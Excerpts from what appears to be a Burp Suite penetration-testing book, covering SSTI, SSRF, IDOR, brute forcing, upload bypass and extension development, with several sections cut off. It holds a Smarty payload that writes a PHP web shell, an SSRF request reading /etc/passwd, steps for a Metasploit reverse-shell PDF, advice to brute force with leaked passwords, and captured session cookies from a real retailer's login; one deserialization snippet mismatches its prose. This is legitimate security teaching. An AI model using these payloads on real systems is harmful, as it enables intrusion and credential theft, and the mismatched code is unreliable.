This happens because, in the code, it is possible to inject any PHP function, without validation. Kettle showed the vulnerability in the source code, as demonstrated in the following:

public function getFilter($name){ 
[snip] 
   foreach ($this->filterCallbacks as $callback) { 
         if (false !== $filter = call_user_func($callback, $name)) { 
               return $filter; 
         } 
   } 
 
   return false; 
} 
public function registerUndefinedFilterCallback($callable){ 
   $this->filterCallbacks[] = $callable; 
} 

Basically, the code accepts any kind of PHP function, so, in the string, Kettle entered the exec() function to execute a command directly to the server.

Twig is not the only engine that has problems. The other engines researched by Kettle included Smarty, another PHP engine that in theory disallows the direct use of the system() function. However, Kettle discovered that it allows invoking methods in other classes.

The vulnerable code snippet is shown in the following screenshot:



In this snippet of code, we can see that the getStreamVariable() method could be susceptible to read any file, with the server permissions. Furthermore, we can call other methods.

So, to execute a command on the server, Kettle showed us the following testing string:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ? 
>",self::clearConfig())} 

Where we can add the command in the $_GET variable.

In Burp Suite, we can add these testing strings for different template engines as a list, and then launch the attack using the payloads options in the Intruder tool, as shown in the following screenshot:





            

            
        
    




  

                            
                    Summary

                
            
            
                
In this chapter, we learned the normal tools that Burp Suite uses to exploit different types of vulnerabilities. In particular, we explored blind SQL injections, OS command injections, exploiting XSS, stealing sessions using XSS, taking control of web browsers using XSS, exploiting XXE, extracting files from servers using XXE, and exploiting SSTI through template engines.

In the next chapter, we will be exploiting other types of vulnerabilities, showing
more options and capabilities in Burp Suite.



            

            
        
    




  

                            
                    Exploiting Vulnerabilities Using Burp Suite - Part 2

                
            
            
                
As we saw in the previous chapter, Burp Suite is a flexible tool used to detect and exploit vulnerabilities. In this chapter, we will be exploiting other types of vulnerabilities, showing more options and capabilities in Burp Suite.

In this chapter, we will cover the following topics:


	Using SSRF/XSPA to perform internal port scans

	Using SSRF/XSPA to extract data from internal machines

	Extracting data using Insecure Direct Object Reference (IDOR) flaws

	Exploiting security misconfigurations

	Using insecure deserialization to execute OS commands

	Exploiting crypto vulnerabilities

	Brute forcing HTTP basic authentication

	Brute forcing forms

	Bypassing file upload restrictions





            

            
        
    




  

                            
                    Using SSRF/XSPA to perform internal port scans

                
            
            
                
A Server-Side Request Forgery (SSRF) is a vulnerability where a malicious user can send a manual request to the server where the application is hosted, usually a server that has no direct access from the user's perspective.

Currently, this is a vulnerability that is getting a lot of popularity because it has a great impact on cloud infrastructures that use technologies, such as Elasticsearch, and NoSQL databases.

In the following code snippet, we can see its effect:

<?php 
   if (isset($_GET['url'])){ 
         $url = $_GET['url']; 
         $image = fopen($url, 'rb'); 
         header("Content-Type: image/png"); 
         fpassthru($image); 
   } 

This code is vulnerable because it is receiving the url parameter without validations, and then ...





  

                            
                    Performing an internal port scan to the backend

                
            
            
                
A port scan is one of the most basic and useful activities of network discovery when you are assessing a network. In applications, security assessment is limited to the scope determined in the assessment, but SSRF and XSPA allow users to perform port scanning from the application. To demonstrate how you can perform this technique, we will use a vulnerable test application, created by Acunetix, which you can find at http://testphp.vulnweb.com/.

This is a vulnerable application that you can use to learn some attacks and test scripts or tools, as shown in the following screenshot:




	Open Burp Suite's Dashboard, and click on New scan. Add Acunetix's URL in the scope and click on Start, as demonstrated in the following screenshot:






	After scanning the application, Burp Suite detected that the URL (http://testphp.vulnweb.com/showimage.php) is vulnerable to SSRF. This PHP file accepts the URL as a parameter, as shown in the following line:



http://testphp.vulnweb.com/showimage.php?file=http://192.168.0.1:80


	To perform an automatic port scan, we can use Intruder. First, stop the request, and send it to Intruder, as shown in the following screenshot:






	Clean the wildcard created by default, and add a new one by your own, as shown in the following screenshot:



GET /showimage.php?file=http://192.168.0.1:port HTTP/1.1 
Host: testphp.vulnweb.com 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Connection: close 
Cookie: login=test%2Ftest 
Upgrade-Insecure-Requests: 1 

Now, you can define your payloads as a list, from 0 to 65,535, and we will choose the Random option. Why? Because some intrusion prevention systems (IPS) detect a sequential request to the same IP, so by using the Random option, we can try to avoid being detected:




	Now, launch the attack, as shown in the following screenshot:





Why it works? If you see the response, it is possible to see whether the connection was successful or not, as follows:



When a port is open, the response will not show any error. As a tip, you can analyze the length column to detect when there is a change in the response and see whether the error appears or not.



            

            
        
    




  

                            
                    Using SSRF/XSPA to extract data from internal machines

                
            
            
                
SSRF and XSPA vulnerabilities can also be used for other actions, such as extracting information from the servers into the network where the backend is located, or from the server where the application is hosted. Let's analyze the following request:



Here, the filehookURL parameter is vulnerable, so send it to the Repeater tool, using the secondary button of the mouse, and modify the parameter to extract a file, in /etc/passwd, as follows:

action=handleWidgetFiles&type=delete&file=1&filehookURL=file:///etc/passwd 

Send it to the application. If it works, the application will show you the ...





  

                            
                    Extracting data using Insecure Direct Object Reference (IDOR) flaws

                
            
            
                
IDOR is a vulnerability that allows a malicious user to access files, databases, or sensitive files in the server that hosts the application.

To identify vulnerable applications to IDOR, it is necessary to test each variable that manages paths into the application. Let's look at an example of how to exploit this kind of vulnerability.



            

            
        
    




  

                            
                    Exploiting IDOR with Burp Suite

                
            
            
                
In the following screenshot, you have a vulnerable application and you have intercepted the next request:



We have their parameters in this request; login, action, and secret. The vulnerable parameter here is login. The secret variable is the data assigned by the user during their registration; the vulnerability that exists is that if the malicious user modifies the login parameter, the application changes the secret value for the user specified without validation. So, we have created another user called vendetta2, to try to modify the secret value pertaining to this individual, as demonstrated in the following ...





  

                            
                    Exploiting security misconfigurations

                
            
            
                
The term misconfiguration is so open that it could mean a lot of things related to security. At the same time, it is so difficult to determine the impact of these kinds of vulnerabilities; some of these vulnerabilities could be just informational, showing information about the technology used to construct an application, and others could be so critical, providing access to the server, or to the application, thereby exposing all of it.

So, in this section, we will be showing different common errors, and how to exploit them using Burp Suite.



            

            
        
    




  

                            
                    Default pages

                
            
            
                
It is common that server administrators install web servers or other applications, and they do not configure them to avoid showing the default pages, so, it is normal to find pages like the following:



This default page may be generic, but it shows information, which, depending on the environment, could be useful. For example, in this case, we are seeing Apache Tomcat's default page. Tomcat is an application server that has an administrative section, and Tomcat has a default user and password. So, if you detect this default page, you just need to enter the tomcat credentials, to see all of the options. One common attack consists ...





  

                            
                    Directory listings

                
            
            
                
It is normal for system administrators and developers to assign incorrect access permissions in the filesystem, allowing users to access sensible files, such as backups, configurations files, source code files, or just a directory that allows users to know more about the server and where the application is hosted.

To discover all of this structure, we can use three main methods, which are as follows:


	Scanning

	Mapping the application

	Intruder



Let's explore each method in detail.



            

            
        
    




  

                            
                    Scanning

                
            
            
                
Scanners, including Burp Suite scanner, have algorithms to detect sensible paths and commons files; actually, common files could be used as banner grabbing to detect potential vulnerabilities.

If a sensible file is detected, it will be shown in the scanner results as an issue, as demonstrated in the following screenshot:






            

            
        
    




  

                            
                    Mapping the application

                
            
            
                
In Burp Suite, you can find all of the different files that are mapped in the Target tool, where it creates a tree with all of the website structure. If you click on a file, it will be shown in detail on the right, detailing whether it is accessible or not, as well as what kind of file it is:



This mapping is largely automatic; you just need to work in the application, while Burp Suite is caching all of the requests and creating this tree, but also Burp Suite has a specific tool for this purpose.

In the Target tool, there is a tab called Scope; here, it is possible to define a URL or path as scope in order to map it deep. When you make a request, the request has a lot of resources that link to other resources. Burp Suite analyzes the requests and responses looking for these links and maps the site using the information that it can retrieve from them, as demonstrated in the following screenshot:



If the application has authenticated sections, it's recommended that you provide credentials, because each time Burp Suite tries to access the authenticated section, the proxy will launch a popup that could be annoying. When this happens, just enter the credentials and the proxy will save them for future requests.



            

            
        
    




  

                            
                    Using Intruder

                
            
            
                
I think Intruder is the most flexible of Burp Suite's tools. You can use it for everything. While working with the Burp Suite Community Edition, where you do not have the advanced options and tools, Intruder can supply all of them with restrictions, which means more time in performing the tasks, but it can do any kind of task.

So, to detect directory listings and sensitive files, we are going to use common lists. For example, we can have a list with common directories, such as usual paths in content management systems (CMS), eCommerce applications, and normal paths used in a homemade application, such as /users/, /admin/, /administrator/, process.php, /config/, and more.

On the other hand, we need to have a list with common ...





  

                            
                    Default credentials

                
            
            
                
As mentioned previously, in this section, there are applications that have default credentials when they are installed. With some of them, this is because they are not installed directly, but use packages with the OS or because they are part of another application. For example, some integrated development environments (IDE) have web or application servers in their installations, which are used for testing purposes.

Also, there are testing tools or packages that use database management systems (DBMS), but these systems have vulnerabilities or default access that exposes them.

After doing some scouting, you will be able to know the applications, servers, and technology behind an application, and just looking for the term default password find the correct credentials, or accessing to the web that stores them, as shown in the following screenshot:



To identify the correct ones, you just need to load them as payload in Intruder and launch the applications, as we will see in more detail in this chapter.



            

            
        
    




  

                            
                    Untrusted HTTP methods

                
            
            
                
The HTTP protocol has different methods, usually, we use to know the GET, POST, and CONNECT methods because they are the most commonly used. However, there are others that can be used to get information about the server, upload and delete files into the application, or obtain debug information.

Testing these methods using Burp Suite is easy. From the proxy, just modify the request in the following way:

OPTIONS / HTTP/1.1 

Actually, OPTIONS is a method that allows us to know what methods are allowed on the web server. The methods that can appear are PUT, DELETE, TRACE, TRACK, and HEAD. The exploitation of these methods is beyond the scope of this book because a lot depends on the environment in the application.



            

            
        
    




  

                            
                    Using insecure deserialization to execute OS commands

                
            
            
                
Serialization is a process, in some programming languages, for converting the state of an object into a byte stream, this means 0's and 1's. The deserialization process converts a byte stream into an object in memory.

In web technologies, there are more simple cases, for example, a common deserialization is the process to pass a JSON format into an XML format. This is so simple, but the real problems start in technologies that use native objects, for example, Java, where we can pass to direct calls in memory.

The vulnerability, in fact, occurs when the application deserializes an input that is not valid, creating a new object that could be potentially risky to the application.



            

            
        
    




  

                            
                    Exploiting the vulnerability

                
            
            
                
Imagine you have a vulnerable application that is using the pickle library. This is a Python module that implements different functions to serialize and deserialize. However, this module does not implement protection by itself. It needs to be implemented with validation by the developer. Look at the following vulnerable code snippet:

import yaml 
with open('malicious.yml') as yaml_file: 
contents = yaml.load(yaml_file) 
print(contents['foo'])

This code reads a YAML file without any validations. A malicious user can enter an input that could execute other actions, for example, a command, as follows:

POST /api/system/user_login HTTP/1.1 Host: 192.168.1.254 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) ...





  

                            
                    Exploiting crypto vulnerabilities

                
            
            
                
More than exploiting vulnerabilities related to cryptography, Burp Suite allows users to perform analysis to detect weak algorithms.

To perform this analysis, we need to create a capture. This capture is just a navigation where we log in and log out from an application in order to create sessions, tokens, and IDs. The idea is to create the biggest capture that we can in order to have a sample.





After creating the capture, use the normal history in Burp Suite, go to the Sequencer tool, and click on Analyze now, as demonstrated in the following screenshot:



Here, you can see the final analysis, as follows:



The Final Analysis

Now, you can determine whether the algorithm used is weak or not based on the entropy, the charset, and the probability.



            

            
        
    




  

                            
                    Brute forcing HTTP basic authentication

                
            
            
                
Basic authentication is a type of access control mostly used in internal environments to restrict access to restricted areas in a website. It has a lot of weaknesses, including the following:


	The basic authentication sends the information in plain text. This means that a malicious user can intercept the information sent by the client to the server and extract the credentials.

	The password is protected by a Base64 encoding. It does not mean that the password is encrypted; anyone can get the plain password using a decoder, like the one included in Burp Suite, as shown in the following screenshot:












  

                            
                    Brute forcing it with Burp Suite

                
            
            
                
We are going to show how to attack a basic authentication using Burp Suite. Imagine we have a domestic router that is used to provide us with the internet in our home. Most of these devices use basic authentication. So, access to the URL router and the web browser will display a window, as in the following screenshot:



Now, configure Burp Suite to intercept the credentials sent to the server, as demonstrated in the following screenshot:



Here, you can see the parameter authorization in the header. So, copy the value assigned to the parameter, and paste it in the Decoder section to know what it is. Remember that basic authentication uses Base64 encoding to protect the information:



Now, we know that the structure used by the basic authentication is user:password, so to brute force the control, we need to send credentials following this structure. We are going to use a list of potential users and passwords, and store them in TXT files, in order to use them as payloads. I recommend that you look for leaked passwords in common services, such as Facebook, LinkedIn, and Yahoo, because they are real passwords, and not just a common dictionary, so it is more probable that you can get access to the restricted area. Here, we have a small example list as follows:





Now that we have our password and users list, click on the original request, using the secondary button of the mouse, and send it to the Intruder tool:


	First, we are going to select the Cluster bomb option to send our request. As we only have one list, we want Burp Suite to test all of the possible combinations on the list, as shown in the following screenshot:






	Then, we are going to select the value assigned to the authorization parameter as a wildcard. The trick however, is to create wildcards on the same parameter because we have to insert values to the password and the user, as demonstrated in the following screenshot:






	Then, go to the Payloads tab and here, we are going to select our lists. However, the most important step is that we need to encode our inputs in Base64 with the structure used by the basic authentication. First, in the Payload Sets section, select the use of two payload sets. It is not important if we will use the same list, but we need to use them as separate payloads, as shown in the following screenshot:






	Afterward, select the first payload list and, in the textbox separator for position 1, add the : character. This will be inserted after the first value, as demonstrated in the following screenshot:






	Then, to encode the payload, click on Add payload processing rule. Here, select the Encode option in the list, and then Base64-encode. With this configuration, all of our payloads will be sent in Base64-encode, as shown in the following screenshot:






	Now, go back to the Payload Sets section and select the second position. Here, select the list of users and passwords, but in the textbox leave empty the textbox separator for position 2. Also, create the rule to encode the payload. Go back to the Positions tab and click on Start attack, as demonstrated in the following screenshot:





When the Intruder shows an HTTP error code 200, this means that the combination is correct.



            

            
        
    




  

                            
                    Brute forcing forms

                
            
            
                
As mentioned previously, basic authentication is not recommendable due to its security issues. More common is the use of authentication forms. These authentication forms consist in an HTML or another client technology form, which is passed to a backend where the credentials are processed to determine whether the user has access or not to the resource.

It is important to note that all the processing to determine whether the user is valid or not will be in the backend. Sometimes, it is recommendable to use structure validations in the client side, just to limit the number of incorrect attempts.



            

            
        
    




  

                            
                    Automation with Burp Suite

                
            
            
                
To execute a brute forcing on a form, we are going to stop the request where the credentials are uploaded to the application, as can be seen in the following code block, where the user is accessing a login section:

POST /api/system/user_login HTTP/1.1 
Host: 192.168.1.254 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: application/json, text/javascript, */*; q=0.01 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://192.168.1.254/ 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
X-Requested-With: XMLHttpRequest 
Content-Length: 210 
Connection: close 
Cookie: SessionID_R3=CZY02VcjdwIxtH3ouqkBUrgg7Zu2FICRqkEP5A0ldSiF5FQ67nioWM30PzyYGv9jMQk0a1lvs2lrv1fMX3wqGXSZu176PYZeEDCDxbA0rbAESGMeXNw0PEc0GZ7n2h0; username=admin 
 
{"csrf":{"csrf_param":"ugObcytxp0houtiW8fxOsDYc074OxoV","csrf_token":"nOyb061GDehdAk04E1PG8qBGWTNwNr0"},"data":{"UserName":"admin","Password":"admin"}}

In this request, we can identify the parameters where the application receives the username and password. So, using the secondary button of the mouse, click on the emergent menu and select Send to Intruder. Here, we are going to create wildcards in the place where we have the parameters. Note that this is not a common POST request where the parameters are assigned as values. Here, we have a different structure, but it works in the same way.

In this case, the application is not using any kind of encoding. We just configure the payload as a normal list, selecting Cluster bomb as the attack type, and our previous list, as shown in the following screenshot:



To finish, click on Start attack. Intruder will launch a window where we can see the results. There are some applications, which, when the credentials are incorrect, respond with a 302 error code to redirect the user to the login page again. In this case, the application always responds with a 200 error code, so is needed to analyze the response in detail. To do this in an easy way, we can check the column length and look for a variation in the value that indicates a different result, as demonstrated in the following screenshot:





            

            
        
    




  

                            
                    Bypassing file upload restrictions

                
            
            
                
Many applications allow users to upload files. There are different ways to manage these files: some applications directly upload the file as binary, and others encode the file to reduce the size and manage in a database. Let's explore how we can modify the restrictions established by an application to manage the files.





            

            
        
    




  

                            
                    Bypassing type restrictions

                
            
            
                
When an application allows you to upload files, usually the developer knows what types of files are allowed, so it is important to validate that a malicious user cannot upload other kinds of files. The common way to validate this is by using the extension file. So, if an application manages documents, maybe the developer allows PDF files and DOCX documents, but is this secure?

The file extension is not the only validation that the application needs to undertake. A malicious user can upload a malicious file with a valid extension; for example, to propagate malware.

First, we are going to create a malicious PDF using a tool called Metasploit. Metasploit is an exploitation framework that allows attack vulnerabilities, mainly in infrastructure; but it also has auxiliary modules to perform some tasks, such as creating binary files with embedded malicious code. You can get a copy of Metasploit in https://www.metasploit.com/.

To install it, you just need to uncompress the file in a directory. To create a PDF, follow these steps:


	Use the adobe_utilprintf tool, which will convert our PDF to a malicious PDF. You can use any PDF to do this.

	Select the PDF to use the instruction set.

	Select the payload to use. Metasploit has different payloads to perform actions when the file is executed, or in this case, opened. The simplest payload is to create a connection from the computer where the file is open to a remote computer. This is a reverse shell.




	Set the remote IP address and the port, as demonstrated in the following screenshot:






	After selecting all of the options, use the instruction exploit to create the file, as shown in the following screenshot:





Open the application that you are assessing using Burp Suite and intercept a request in a section where the user is allowed to upload files. Imagine we have the following vulnerable request:



A sample vulnerable request

In this request, we can see we have two restrictions. First, we have a size limit, which is established to avoid uploading the biggest files. We can see this restriction in the following lines:

Content-Type: multipart/form-data; boundary=---------------------------12057503491 

-----------------------------12057503491 
Content-Disposition: form-data; name="name" 

So, if we modify these values, it's possible to upload files with a size bigger than what is expected by the user.

The other restriction is the file, as follows:

test_by_destron23.pdf 
-----------------------------12057503491 

This application is waiting for a specific extension, if we upload another file, such as our modified PDF, see what happens.





You will see how the file is uploaded in a binary way to the server. At this point, the server has a malicious PDF that could be downloaded by other users, which will be infected. In order to confirm that the file is the same, you can download it and compare the downloaded file with your own file.

The conclusion for this point is that a file is just another type of input in an application, and you can modify it using Burp Suite like inputs in a form.



            

            
        
    




  

                            
                    Summary

                
            
            
                
In this chapter, we learned the normal tools that Burp Suite uses to exploit different types of vulnerabilities. In particular, we exploited SSRF and XSPA to execute commands, extract information and perform tasks in the internal networks. Also, we reviewed the origin of these vulnerabilities. We reviewed an IDOR vulnerability, learned how to exploit it manually, and how to automate its exploitation using Intruder. Next, we reviewed some vulnerabilities related to configurations; how they could be critical and not critical, and how we can automate some of them.

We also performed brute forcing to look for valid credentials in two different types of authentications. We created a malicious PDF and learned how to upload it to a website ...





  

                            
                    Writing Burp Suite Extensions

                
            
            
                
Other HTTP proxies offer good performance, but, Burp Suite is indisputably the best tool due to its extension capability. As we have seen in the previous chapters, extensions add a lot of functions, and so they can be focused on one particular problem.

The ability to create extensions provides great help to the user in automating testing activities. Burp Suite supports Java, Python, and Ruby to develop extensions, so it is flexible in providing easy access for developers.

In this chapter, we will review the development process of a new extension and provide some tricks and tips for doing so on our Burp Suite installation.

We will cover the following topics in the chapter:


	Setting up the development environment

	Writing a Burp Suite extension

	Executing the extension







            

            
        
    




  

                            
                    Setting up the development environment

                
            
            
                
To develop your own extensions, you can use open source integrated development environments (IDEs), such as NetBeans or Eclipse. Choose the most comfortable IDE for yourself. In this case, we will use NetBeans:


	Go to the NetBeans website (https://netbeans.org/) and download the latest version. Installation is not needed since NetBeans is developed in Java and distributed as a JAR file; just unzip the download file and click on the netbeans-bin icon, as demonstrated in the following screenshot:






	Before starting to work with NetBeans, go to https://www.oracle.com/technetwork/java/javase/downloads/ and ...






  

                            
                    Writing a Burp Suite extension

                
            
            
                
The basic class structure for any Burp Suite extension is in the following code, which is provided by PortSwigger:

package burp; 
 
public class BurpExtender implements IBurpExtender{ 
    public void registerExtenderCallbacks (IBurpExtenderCallbacks callbacks){ 
        // your extension code here 
    } 
} 

This is basically the class definition that is used to create all of Burp Suite's extensions. Now, let's start to modify the code.



            

            
        
    




  

                            
                    Burp Suite's API

                
            
            
                
Keeping in mind that all extensions are developed by taking the PortSwigger-provided structure (which was previously shown) as the code base, the entry point for your extension is as follows:

void registerExtenderCallbacks (IBurpExtenderCallbacks callbacks); 

If you want to call your own extension, you will need to use the following method:

callbacks.setExtensionName (Your extension name); 

The following code shows the byte utilities. They are useful for managing strings, searching substrings, encoding, decoding, and more:

int indexOf (byte[] data, byte[] pattern, boolean caseSensitive, int from, int to); String bytesToString(byte[] data); byte[] stringToBytes(String data); String urlDecode(String data); String urlEncode(String ...





  

                            
                    Modifying the user-agent using an extension

                
            
            
                
Let's now analyze the code of an extension to modify the user-agent in the HTTP request, using the basic structure provided by PortSwigger.



            

            
        
    




  

                            
                    Creating the user-agents (strings)

                
            
            
                
The first thing we need to modify a user-agent is with substitute user-agents. In the next part of the code, we create a list of default user-agents to be used in the extension; the extension also provides the option to use an XML file with the strings, as follows:

 public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { extCallbacks = callbacks; extHelpers = extCallbacks.getHelpers(); extCallbacks.setExtensionName("Burp UserAgent"); extCallbacks.registerSessionHandlingAction(this); printOut = new PrintWriter(extCallbacks.getStdout(), true); printHeader(); /* Create the default User-Agent */ bUserAgents.add("Current Browser"); bUserAgentNames.put("Current Browser", "Current Browser"); /* ...





  

                            
                    Creating the GUI

                
            
            
                
PortSwigger simplified the way to integrate extensions with Burp Suite to create a new Burp Suite tab, and the elements just need a few lines of code.

First, we need to define a new tab for our extension in Burp Suite's window, as follows:

bUAPanel = new JPanel(null); 
JLabel bUALabel = new JLabel(); 
final JComboBox bUACbx = new JComboBox(bUserAgents.toArray()); 
JButton bUASetHeaderBtn = new JButton("Set Configuration"); 

We also need to create a box for putting in all our options, along with the labels for each one, as follows:

bUALabel.setText("User-Agent:"); 
bUALabel.setBounds(16, 15, 75, 20); 
bUACbx.setBounds(146, 12, 310, 26); 
bUASetHeaderBtn.setBounds(306, 50, 150, 20); 
  
bUASetHeaderBtn.addActionListener(new ActionListener() { 
    public void actionPerformed(ActionEvent e) { 
    newUA = bUserAgentNames.get(bUACbx.getItemAt(bUACbx.getSelectedIndex())); 
    printOut.println("User-Agent header set to: " + newUA + "\n"); 
    } 
}); 

Additionally, we need to add that there is no application or extension without default values to present to the user when it is open, as follows:

bUALabel.setText("User-Agent:"); 
bUALabel.setBounds(16, 15, 75, 20); 
bUACbx.setBounds(146, 12, 310, 26); 
bUASetHeaderBtn.setBounds(306, 50, 150, 20); 
  
bUASetHeaderBtn.addActionListener(new ActionListener() { 
    public void actionPerformed(ActionEvent e) { 
    newUA = bUserAgentNames.get(bUACbx.getItemAt(bUACbx.getSelectedIndex())); 
    printOut.println("User-Agent header set to: " + newUA + "\n"); 
    } 
}); 



            

            
        
    




  

                            
                    The operation

                
            
            
                
The previous blocks of code showed all of the extension content and the graphical interface, but the following lines show the operation of the extension itself:

First, we set up the initial variables and components, as follows:

 @Override public String getTabCaption() { return "Burp UserAgent"; } @Override public Component getUiComponent() { return bUAPanel; } @Override public String getActionName(){ return "Burp UserAgent"; } @Override public void performAction(IHttpRequestResponse currentRequest, IHttpRequestResponse[] macroItems) { IRequestInfo requestInfo = extHelpers.analyzeRequest(currentRequest); List<String> headers = requestInfo.getHeaders(); String reqRaw = new String(currentRequest.getRequest()); String reqBody = ...





  

                            
                    Discovering authentication weaknesses

                
            
            
                
After services, ports, and technology detection, the next step is to navigate and understand the application's flow. Here, we will focus on the authentication section.


	So, open Burp Suite, and after configuring the web browser, go to https://www.mercadolibre.com.mx/.

	As we mentioned before, Mercado Libre is a big online retailer, which is an intermediate party between sellers and buyers offering package services and financial services.

	Enter valid credentials in the login section in order to understand how works.

	A resume about the authentication flow is given here:

	The user enters an email address or username and a password

	The user is logged in

	If the user closes the session, the next time they enter the login section, they just need to enter their password, as their username is already taken








	Let's check the login request:



POST /jms/mlm/lgz/msl/login/H4sIAAAAAAAEAzWNQQ7DIAwE_-JzFO4c-xHkEidBxQUZR6SK8veaSj3ueHd8QS5begf9VAIPdNacYlKYoGbUtQiHtNiBs6GWlP6RRwUFmZSkgb-GaKPlQTYaKpWDrIOH7mHNpRv6vTK2FQu7am3eud77zCQRl5LTU2iOhWc-HdwTrNg0qGB8gR---wvSIukMrwAAAA/enter-pass HTTP/1.1
    Host: www.mercadolibre.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://www.mercadolibre.com/jms/mlm/lgz/login?platform_id=ml&go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F&loginType=explicit
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 655
    Connection: close
    Cookie: msl_tx=1UqiRoqpEUxsLE3lBOswwkkNK9jF03Mi; _ml_ci=923720559.1550729012; orguseridp=21657778; _d2id=9db3c122-55e2-4c10-b17c-b06211ac246f-n; ftid=8MoAWQIdUk07TQENB2UnuCGnB5WY5qMo-1550733044507; dsid=e71d14ce-5128-453c-b586-60e5212fa4cf-1550733049231
    Upgrade-Insecure-Requests: 1
    
    user_id=vendetta%40gmail.com&password=H3r3154p4555w0rd&action=complete&dps=armor.bdecc76bc2e60160f1d8464959d69f4d2d9119c3f039ee75cb69bd697920e46f90877723d71324ebedade124738cd189e161d2b655c7fa985521cc6e4c2ccdc75231619b1a24f5e526cee284f62d303f.86588a3c22fdc3e5adde058557e1028e&rbms=1UqiRoqpEUxsLE3l&gctkn=03AOLTBLQTrF3tOZ-Md6XA6e3MFfVpMq2U2eZ1MOnZMtRddlltoxecbHaOtRdLrSPRUXTVGmJQ3nRRhvIcZa_4fY1KhgJ4vN2xg5DaG5ZeXjWuC-KIg59R0WDaRU9cyX7Nz1yaQOgVfvCGqf-buiapfJ5cVN3uureFwrxgegqBZwHAsHQBwOxSQ9hXZlU0V6ZHpWV7PwH_1N65MlH4HhvjGOgaBPPG5XJ69Nsa1eErb1KZG5s5ByeMbOeCgX6uTJzglJYzpxUmygRJpiIvN7ypFLdgnKNC7UuemvkGZwcOgbDQgmjdx5vifkJmlmNIsT2tEoXJw2wWJlBfi0cBkReEX61RoA4C91heOQ&kstrs=  

Let's also, the response to this login request:

    HTTP/1.1 302 Found
    Content-Type: text/html; charset=utf-8
    Content-Length: 328
    Connection: close
    Date: Thu, 21 Feb 2019 07:13:56 GMT
    Server: Tengine
    Cache-Control: private, max-age=0, no-store
    Location: https://auth.mercadolibre.com.mx/session/replicator/1550733236355-bqp0ov4guqf0rkcp9qjp34r63e61r6r6?go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F
    Set-Cookie: ssid=ghy-022103-1lPFbjVoxrDURTxzC3azejgqjE9O3a-__-21657778-__-1645341236209--RRR_0-RRR_0; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT; HttpOnly; Secure
    Set-Cookie: orgid=CS-022103-03c45ab2ac839ae3d7083c377cdce53010e242e00d3b5fd587459dcdb9c93fa8-21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
    Set-Cookie: orghash=022103-MLMw1s3mS30KNKIoHNpkHJpGxvOlzu__RRR_0__RRR_0-21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT; HttpOnly
    Set-Cookie: orgapi=CS-022103-69fb38cb3696712af34d6ddd57dc20cfb93a9a77a8d4d2490c82c20d7b7ff6ebc6b411d78e3f5f633a6e653efdd84859895e27e3d79c1da956c6649264d08370-21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
    Set-Cookie: orguserid=0Z07t79hhh7; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
    Set-Cookie: orguseridp=21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
    Set-Cookie: orgnickp=AUGUSTO_VENDETTA; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
    Set-Cookie: uuid=0; Max-Age=0; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Thu, 21 Feb 2019 07:13:56 GMT
    Set-Cookie: sid=0; Max-Age=0; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Thu, 21 Feb 2019 07:13:56 GMT; HttpOnly
    Vary: Accept, Accept-Encoding
    X-Content-Type-Options: nosniff
    X-DNS-Prefetch-Control: on
    X-Download-Options: noopen
    X-XSS-Protection: 1; mode=block
    X-Request-Id: 445dd144-db49-404e-83e9-7e081487326c
    X-D2id: 9db3c122-55e2-4c10-b17c-b06211ac246f
    Content-Security-Policy: frame-ancestors 'self'
    X-Frame-Options: SAMEORIGIN
    X-Cache: Miss from cloudfront
    Via: 1.1 ae22d429a3be7ab1d9089446772f27a7.cloudfront.net (CloudFront)
    X-Amz-Cf-Id: RyU3aIakL8jke184nvlIt6Ghu0-MfmJLlVYXBw9BxivAF3F9yH9_Mg==
    
    <p>Found. Redirecting to <a href="https://auth.mercadolibre.com.mx/session/replicator/1550733236355-bqp0ov4guqf0rkcp9qjp34r63e61r6r6?go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F">https://auth.mercadolibre.com.mx/session/replicator/1550733236355-bqp0ov4guqf0rkcp9qjp34r63e61r6r6?go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F</a></p>
  

Using the preceding blocks of code, we can detect the following things:


	The application is using a load balancer or an anti-DDoS service. We can see in the response how the request is redirected to a determinate server.

	The application uses a token to track requests; it may not be possible to exploit vulnerabilities such as CSRF.

	The application has XSS protection, which avoids the extraction of information. For example, extracting the user's session using JavaScript.

	The application includes a SAMEORIGIN policy. In this book, we have not covered this. This control is used to avoid execute actions from external entities.

	User credentials are sent in the request's body.

	The application uses the XML format. This means that the application is using an internal API.



Now, we have some information about the authentication flow. In a real assessment, you would need to map the whole application, and the complete application flow.

